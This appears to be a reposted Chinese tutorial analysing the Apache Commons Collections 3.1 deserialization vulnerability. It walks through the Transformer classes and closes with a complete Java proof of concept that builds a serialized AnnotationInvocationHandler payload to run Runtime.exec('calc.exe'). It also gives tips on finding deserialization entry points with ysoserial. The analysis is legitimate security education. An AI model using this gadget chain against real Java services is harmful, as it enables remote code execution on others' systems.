高防服务器

Apache Commons Collections反序列化漏洞的示例分析


Apache Commons Collections反序列化漏洞的示例分析

发布时间:2022-01-18 16:28:02 来源:高防服务器网 阅读:55 作者:柒染 栏目:网络管理

本篇文章为大家展示了Apache Commons Collections反序列化漏洞的示例分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

一、简介

虽然网上已经有很多文章对这个组件的反序列化漏洞进行分析,但在这里还是记录一下。毕竟,这对Java反序列化漏洞的发展意义重大。

Apache Commons Collections是Java应用开发中一个非常常用的工具库,它添加了许多强大的数据结构,简化了Java应用程序的开发,已经成为Java处理集合数据的公认标准。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使用了Apache Commons Collections工具库,当该工具库出现反序列化漏洞时,这些应用也受到了影响,这也是反序列化漏洞如此严重的原因。

二、测试环境

jdk1.7.0_21 + commons-collections-3.1.jar

Apache Commons Collections组件历史版本下载地址:http://archive.apache.org/dist/commons/collections/binaries/,或者使用maven依赖:

<!– https://mvnrepository.com/artifact/commons-collections/commons-collections –>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

在Java反序列化漏洞利用工具ysoserial(https://github.com/frohoff/ysoserial)中已经集成了该组件的漏洞利用payload;在渗透测试的时候,只需按照Java序列化数据的特征(以十六进制aced或者base64编码格式的rO0AB开头的数据)寻找Java反序列化的入口点,并根据Web应用猜测可能存在CommonsCollections组件,则可以直接使用ysoserial工具直接生成payload进行漏洞利用。

三、漏洞分析

这里分析利用Transformer接口以及实现该接口的几个类构造的代码执行漏洞利用链。

Transformer接口

Transformer接口的定义十分简单,只定义了一个transform()方法,根据文档说明,该方法主要用于对象转换。实现该接口的类还是挺多的,这里主要利用以下3个实现类:ConstantTransformer、InvokerTransformer和ChainedTransformer。

package org.apache.commons.collections;    public interface Transformer {      //对象转换      public Object transform(Object input);  }

ChainedTransformer类

ChainedTransformer类定义了一个Transformer[]数组,并且在实现transform()方法的时候通过依次遍历该数组元素,并调用数组元素对应的Transformer实现类的transform()方法,将多个Transformer对象串起来。

public class ChainedTransformer implements Transformer, Serializable {      private final Transformer[] iTransformers;        ...                public ChainedTransformer(Transformer[] transformers) {          super();          iTransformers = transformers;      }        public Object transform(Object object) {          for (int i = 0; i < iTransformers.length; i++) {              object = iTransformers[i].transform(object);          }          return object;      }        ...  }

InvokerTransformer类

InvokerTransformer类的transform()方法主要通过反射机制调用传入参数对象的某个方法,只需在构造InvokerTransformer对象的时候设置方法名、参数类型和参数值即可。

public class InvokerTransformer implements Transformer, Serializable {            /** The method name to call */      private final String iMethodName;      /** The array of reflection parameter types */      private final Class[] iParamTypes;      /** The array of reflection arguments */      private final Object[] iArgs;        ...        public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {          super();          iMethodName = methodName;          iParamTypes = paramTypes;          iArgs = args;      }      //简化后的transform()方法,通过反射机制调用对象的方法      public Object transform(Object input) {          ...                    Class cls = input.getClass();          Method method = cls.getMethod(iMethodName, iParamTypes);          return method.invoke(input, iArgs);                            ...        }  }

ConstantTransformer类

ConstantTransformer类十分简单,直接返回传入对象。

public class ConstantTransformer implements Transformer, Serializable {      private final Object iConstant;        ...        public ConstantTransformer(Object constantToReturn) {          super();          iConstant = constantToReturn;      }            public Object transform(Object input) {          return iConstant;      }        ...  }

根据上述情况,我们的目标是构造Runtime.getRuntime().exec()代码执行。很明显,我们需要借助InvokerTransformer类中transform()方法实现反射调用。如下所示,这里即是代码执行的源头:

package orz.vuln.poc;    import org.apache.commons.collections.functors.InvokerTransformer;    public class CommonsCollections {  	public static void main(String[] args) throws Exception {          //通过InvokeTransformer类反射调用Runtime代码  		InvokerTransformer invoker1 = new InvokerTransformer("getMethod",   				new Class[] {String.class, Class[].class},   				new Object[] {"getRuntime", null});  		InvokerTransformer invoker2 = new InvokerTransformer("invoke",   				new Class[] {Object.class, Object[].class},   				new Object[] {null, null});  		InvokerTransformer invoker3 = new InvokerTransformer("exec",   				new Class[] {String.class},   				new Object[] {"calc.exe"});  		invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)));  		  		/*正常反射调用Runtime代码  		Class clazz = Runtime.class;  		Method m1 = clazz.getMethod("getRuntime", null);  		Method m2 = clazz.getMethod("exec", String.class);  		m2.invoke(m1.invoke(clazz, null), "calc.exe");  		*/  	}  }

更进一步,我们发现可以借助ChainedTransformer类中的transform()方法代替invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))),即将上述多个InvokerTransformer对象初始化为Transformer[]数组,并且用Runtime.class初始化ConstantTransformer类对象,这样,就能构造出一条使用任意对象即可触发代码执行的Transformer调用链:

package orz.vuln.poc;    import org.apache.commons.collections.Transformer;  import org.apache.commons.collections.functors.ChainedTransformer;  import org.apache.commons.collections.functors.ConstantTransformer;  import org.apache.commons.collections.functors.InvokerTransformer;    public class CommonsCollections {  	public static void main(String[] args) throws Exception {  		Transformer[] transformers = new Transformer[] {  				new ConstantTransformer(Runtime.class),  				new InvokerTransformer("getMethod",   						new Class[] {String.class, Class[].class},  						new Object[] {"getRuntime", null}),  				new InvokerTransformer("invoke",   						new Class[] {Object.class, Object[].class},   						new Object[] {null, null}),  				new InvokerTransformer("exec",  						new Class[] {String.class},  						new Object[] {"calc.exe"})  		};  		  		Transformer chainedTransformer = new ChainedTransformer(transformers);  		chainedTransformer.transform("foo");  	}  }

接下来,我们希望通过反序列化触发调用Transformer对象transform()方法,达到代码执行的目的。

TransformedMap类

Apache Commons Collections中定义了一个TransformedMap类用来对Map进行某种变换,该类通过调用decorate()方法进行实例化,如下所示:

并且在该类中还有个checkSetValue()方法,在该方法中实现了调用Transformer对象的transform()方法;根据该方法描述,checkSetValue()方法将在setValue()方法调用的时候被调用:

因此,我们的思路是通过利用Map对象和构造的恶意Transformer对象初始化TransformedMap对象,再调用setValue()方法修改Map对象的值,代码如下:

package orz.vuln.poc;    import java.util.HashMap;  import java.util.Map;    import org.apache.commons.collections.Transformer;  import org.apache.commons.collections.functors.ChainedTransformer;  import org.apache.commons.collections.functors.ConstantTransformer;  import org.apache.commons.collections.functors.InvokerTransformer;  import org.apache.commons.collections.map.TransformedMap;    public class CommonsCollections {  	public static void main(String[] args) throws Exception {  		Transformer[] transformers = new Transformer[] {  				new ConstantTransformer(Runtime.class),  				new InvokerTransformer("getMethod",   						new Class[] {String.class, Class[].class},  						new Object[] {"getRuntime", null}),  				new InvokerTransformer("invoke",   						new Class[] {Object.class, Object[].class},   						new Object[] {null, null}),  				new InvokerTransformer("exec",  						new Class[] {String.class},  						new Object[] {"calc.exe"})  		};  		  		Transformer chainedTransformer = new ChainedTransformer(transformers);  		//chainedTransformer.transform("foo");  		  		Map map = new HashMap();  		map.put("foo", "bar");  		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);  		Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();  		entry.setValue("test");  	}  }

继续寻找通过反序列化触发setValue()方法执行的地方,最后在AnnotationInvocationHandler类的readObject()方法中找到了。

AnnotationInvocationHandler类

AnnotationInvocationHandler类的readObject()方法如下所示:

由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。这里有个判断条件需要满足才能最终执行entry.setValue()方法,即

根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。

最终,完整漏洞利用代码如下:

package orz.vuln.poc;    import java.io.FileInputStream;  import java.io.FileOutputStream;  import java.io.ObjectInputStream;  import java.io.ObjectOutputStream;  import java.lang.annotation.Target;  import java.lang.reflect.Constructor;  import java.util.HashMap;  import java.util.Map;    import org.apache.commons.collections.Transformer;  import org.apache.commons.collections.functors.ChainedTransformer;  import org.apache.commons.collections.functors.ConstantTransformer;  import org.apache.commons.collections.functors.InvokerTransformer;  import org.apache.commons.collections.map.TransformedMap;    public class CommonsCollections {  	public static void main(String[] args) throws Exception {  		  		Transformer[] transformers = new Transformer[] {  				new ConstantTransformer(Runtime.class),  				new InvokerTransformer("getMethod",   						new Class[] {String.class, Class[].class},  						new Object[] {"getRuntime", null}),  				new InvokerTransformer("invoke",   						new Class[] {Object.class, Object[].class},   						new Object[] {null, null}),  				new InvokerTransformer("exec",  						new Class[] {String.class},  						new Object[] {"calc.exe"})  		};  		  		Transformer chainedTransformer = new ChainedTransformer(transformers);  		//chainedTransformer.transform("foo");  		  		Map map = new HashMap();  		map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value  		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);  		//Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next();  		//entry.setValue("test");  		  		Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  		Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);  		ctor.setAccessible(true);  		Object instance = ctor.newInstance(Target.class, transformedMap);  		  		FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser");  		ObjectOutputStream oos = new ObjectOutputStream(fos);  		oos.writeObject(instance);  		oos.close();  		fos.close();  		  		FileInputStream fis = new FileInputStream("D:/commonscollections.ser");  		ObjectInputStream ois = new ObjectInputStream(fis);  		ois.readObject();  		ois.close();  		fis.close();  	}  }

上述内容就是Apache Commons Collections反序列化漏洞的示例分析,你们学到知识或技能了吗?
[微信提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。

[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]
[